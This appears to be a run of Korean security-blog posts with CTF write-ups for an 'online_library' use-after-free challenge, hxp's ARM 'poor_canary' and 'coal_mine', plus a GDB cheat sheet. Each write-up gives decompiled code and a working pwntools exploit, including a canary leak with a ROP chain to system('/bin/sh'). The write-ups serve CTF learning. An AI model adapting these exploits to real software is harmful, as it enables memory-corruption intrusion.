다른 사람들 도움되라고 올립니다.

 

main 함수 메뉴들

      case 1u:
        login(&v6);
        break;
      case 2u:
        logout(&v6);
        break;
      case 3u:
        (*(a2 + 32))(a2, &v4);
        break;
      case 4u:
        borrow_book(&v6, &a2, &a3);
        break;
      case 5u:
        return_book(&v6, &a2, &a3);
        break;
      case 6u:
        puts("600d by3..");
        exit(0);
        return;
      default:
        puts("don't mess with me! GET OUT!!!! ");
        exit(0);
        return;
int __fastcall login(char **a1)
{
  char *v1; // rbx
  int result; // eax

  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  *a1 = malloc(0x20uLL);
  getchar();
  printf("ID:", 0LL);
  fgets(*a1, 32, stdin);
  v1 = *a1;
  v1[strlen(*a1) - 1] = 0;
  result = printf("Welcome %s !!\n", v1);
  session = 1;
  return result;
}
int __fastcall logout(void **a1)
{
  int result; // eax

  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  result = session;
  if ( session == 1 )
  {
    free(*a1);
    result = puts("logout completed");
    session = 0;
  }
  return result;
}
void __fastcall borrow_book(__int64 a1, char **a2, _DWORD *a3)
{
  int *v3; // rsi
  size_t v4; // rax
  _DWORD *v5; // [rsp+8h] [rbp-48h]
  char **v6; // [rsp+10h] [rbp-40h]
  int idx; // [rsp+2Ch] [rbp-24h]
  char *book[3]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v9; // [rsp+48h] [rbp-8h]

  v6 = a2;
  v5 = a3;
  v9 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  v3 = 0LL;
  setvbuf(stderr, 0LL, 1, 0LL);
  book[0] = "jack_and_the_beanstalk";
  book[1] = "kongjui_and_patjui";
  book[2] = "aladdin_lamp";
  *v6 = malloc(0x28uLL);
  while ( 1 )
  {
    puts("1. Jack and the Beanstalk");
    puts("2. Kongjui and Patjui");
    puts("3. Aladdin's Lamp");
    printf("> ", v3);
    v3 = &idx;
    __isoc99_scanf("%d", &idx);
    if ( idx <= 3 && idx > 0 )
      break;
    puts("We don't have that book");
  }
  *(*v6 + 6) = idx;
  v4 = strlen(book[idx - 1]);
  strncpy(*v6, book[idx - 1], v4);
  *(*v6 + 4) = read_book;
  *v5 = 1;
  printf("you just borrwed %s\n", *v6);
  if ( session == 1 )
  {
    point += 14;
    puts("you are our member !");
    puts("point +14");
  }
}
int __fastcall return_book(__int64 a1, void **a2, _DWORD *a3)
{
  int result; // eax
  _DWORD *v4; // [rsp+8h] [rbp-18h]

  v4 = a3;
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  if ( !*v4 )
    return puts("you don't have any book.");
  printf("return '%s'\n", *a2);
  free(*a2);
  result = v4;
  *v4 = 0;
  return result;
}
unsigned __int64 __fastcall read_book(__int64 a1)
{
  int v1; // eax
  char dest[8]; // [rsp+10h] [rbp-50h]
  __int64 v4; // [rsp+20h] [rbp-40h]
  __int64 v5; // [rsp+28h] [rbp-38h]
  __int64 v6; // [rsp+30h] [rbp-30h]
  __int64 v7; // [rsp+38h] [rbp-28h]
  __int64 v8; // [rsp+40h] [rbp-20h]
  __int64 v9; // [rsp+48h] [rbp-18h]
  unsigned __int64 v10; // [rsp+58h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 1, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  if ( *(a1 + 24) <= 3 && *(a1 + 24) >= 0 )
  {
    strcpy(dest, "/bin/cat ");
    v4 = 0LL;
    v5 = 0LL;
    v6 = 0LL;
    v7 = 0LL;
    v8 = 0LL;
    v9 = 0LL;
    printf("your book number : %d\n", *(a1 + 24));
    strcat(dest, a1);
    printf("book name : %s\n", a1);
    v1 = *(a1 + 24);
    switch ( v1 )
    {
      case 2:
        system(dest);
        break;
      case 3:
        system(dest);
        break;
      case 1:
        system(dest);
        break;
    }
  }
  else
  {
    puts("you don't have any book to read.");
  }
  return __readfsqword(0x28u) ^ v10;
}

간단한 UAF 문제
책을 빌리고나서 free해준 다음에 login에서 힙 포인터를 재사용할 수 있음
그래서 read_book()에서 book name을 flag로 만들어준다.
그 다음에 3번 메뉴 함수포인터 실행해주면 /bin/cat flag가 됨

익스코드

from pwn import *

e = ELF('./online_library')
p = process('./online_library')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def login(id):
    sla('>','1')
    sla('ID:',id)

def logout():
    sla('>','2')

def executePtr():
    sla('>','3')

def borrow(idx):
    sla('>','4')
    sla('>',str(idx))

def returnBook():
    sla('>','5')

# UAF
borrow(1)
returnBook()
login('flag')
executePtr()

p.interactive()


'''
[*] '/vagrant/online_library'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

'''

실행
gdb "파일명"

인텔형 어셈블리어로 보기
set disassembly-flavor intel

메인 함수 디스어셈블하기
disas main

브레이크 포인트 걸기
b *main 메인 함수에 브레이크 포인트
b *0x00000000004005bd 특정 주소에 브레이크 포인트
b "숫자" eip로부터 상대적 위치에 브레이크 포인트

브레이크 포인트 삭제
delete
delete "번호"

실행하기
run "args" 처음부터 실행하기
continue 멈춘 부분부터 계속 실행하기
ni 한 스탭 실행 후 멈추기

정보 확인
info reg 레지스터 확인
info reg "레지스터" 특정 레지스터 확인
info break 브레이크 포인트 확인
x/t "메모리 주소" 2진수로 확인하기 
x/o "메모리 주소" 8진수로 확인하기 
x/d "메모리 주소" 10진수로 확인하기 
x/u "메모리 주소" 부호없는 10진수로 확인하기 
x/x "메모리 주소" 16진수로 확인하기 
x/c "메모리 주소" char로 확인하기
x/f "메모리 주소" 부동소수점으로 확인하기
x/s "메모리 주소" 스트링으로 확인하기

x/bx $rsp 1바이트씩 확인하기
x/hx $rsp 2바이트씩 확인하기
x/dx $rsp 4바이트씩 확인하기
x/gx $rsp 8바이트씩 확인하기

실행 중인 프로세스에 어태치
gdb "filename" "pid"
gdb" attach
gdb" detach

'Hacking' 카테고리의 다른 글

LODWORD, LOBYTE  (0) 2019.12.13
[2019hxpCTF]poor_canary  (0) 2019.11.26
[2019정보보호올림피아드]Q9  (0) 2019.11.25
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23
def LODWORD(x):
    return x & 0xfffffff

def LOBYTE(x):
    return x & 0xff

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
[2019hxpCTF]poor_canary  (0) 2019.11.26
[2019정보보호올림피아드]Q9  (0) 2019.11.25
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23

canary
0.54MB

ARM Pwnable문제다.  ARM 포너블은 처음 잡아봤다. 

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

int main()
{
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    char buf[40];
    puts("Welcome to hxp's Echo Service!");
    while (1)
    {
        printf("> ");
        ssize_t len = read(0, buf, 0x60);
        if (len <= 0) return 0;
        if (buf[len - 1] == '\n') buf[--len] = 0;
        if (len == 0) return 0;
        puts(buf);
    }
}
const void* foo = system;

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./canary')
p = process('./canary')


p.sendafter('> ','A'*41)
p.recvuntil('A'*40)
canary = u32(p.recv(4)) - 0x41
binsh = 0x71EB0
system = 0x16d90
popret = 0x00026b7c # pop {r0, r4, pc}

payload = 'A'*40
payload += p32(canary)
payload += 'A'*12
payload += p32(popret)
payload += p32(binsh) 
payload += 'A'*4
payload += p32(system)
p.sendafter('> ',payload)
p.sendlineafter('> ','')
p.interactive()

 

'Hacking' 카테고리의 다른 글

GDB  (0) 2019.12.13
LODWORD, LOBYTE  (0) 2019.12.13
[2019정보보호올림피아드]Q9  (0) 2019.11.25
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23

full relro, nx, pie가 걸려있고 따로 custom canary가 존재한다.
여기서 canary는 srand(time(0))로 rand값 가져오지만 scanf(%d,var[i])처럼 i 범위를 넘어서 카나리 값을 입력할 수 있을때 원래는 숫자만 가능하지만 문자가 입력되면 문자가 버퍼에 남아 %d를 통과하지만 +,-는 예외다. 버퍼에남지도 않고 해당 변수에 아무 값도 저장하지 않으므로 Canary bypass가 가능하다. 그래서 카나리를 손상시키지않고 return addresss만 변조시킬수 있다.

int coal_mine()
{
  unsigned int v0; // eax
  int v2[16]; // [esp+8h] [ebp-60h]
  char name; // [esp+48h] [ebp-20h]
  int v4; // [esp+58h] [ebp-10h]
  int i; // [esp+5Ch] [ebp-Ch]

  memset(v2, 0, sizeof(v2));
  v0 = time(0);
  srand(v0);
  my_canary = rand();
  v2[0] = my_canary;
  v4 = 10;
  printf("Mine worker ID : ");
  fflush(stdout);
  __isoc99_scanf("%24s", &name);
  for ( i = 0; i < v4; ++i )
  {
    printf("Mineral%d : ", i + 1);
    fflush(stdout);
    __isoc99_scanf("%u", &v2[i]);
  }
  for ( i = 0; i < v4; ++i )
    printf("%d. 0x%08u\n", i, v2[i]);
  if ( v2[0] != my_canary )
  {
    puts("you can't escape my coal mine ..");
    exit(0);
  }
  return puts("my canaria is uninfected. i'm safety !");
}

v4를 조작해서 ebp-60에서 리턴 위치인 ebp+4까지 갈 수 있는 크기를 만들어주고 Canary는 +,-로 bypass해주면 된다.
마지막 ebp+4의 값은 treasure위치로 바꿔주면 된다. 그러면 treasure로 가서 flag를 딸 수있다.

exploit.py

from pwn import *

#context.log_level = 'debug'
e = ELF('./coal_mine')
p = process('./coal_mine')

p.recvuntil('GOAL(')
magic = int(p.recv(10),16)
log.info('treasure : ' + hex(magic))

p.sendlineafter(': ','A'*16 + p32(26))
p.sendlineafter(':','+')
for i in range(24):
    p.sendlineafter(':','+')
p.sendlineafter(':',str(magic))
p.interactive()

'Hacking' 카테고리의 다른 글

LODWORD, LOBYTE  (0) 2019.12.13
[2019hxpCTF]poor_canary  (0) 2019.11.26
syscall Exploit 예제  (0) 2019.11.23
CVE-2019-14287 발표 자료  (0) 2019.11.23
malloc  (0) 2019.11.15

+ Recent posts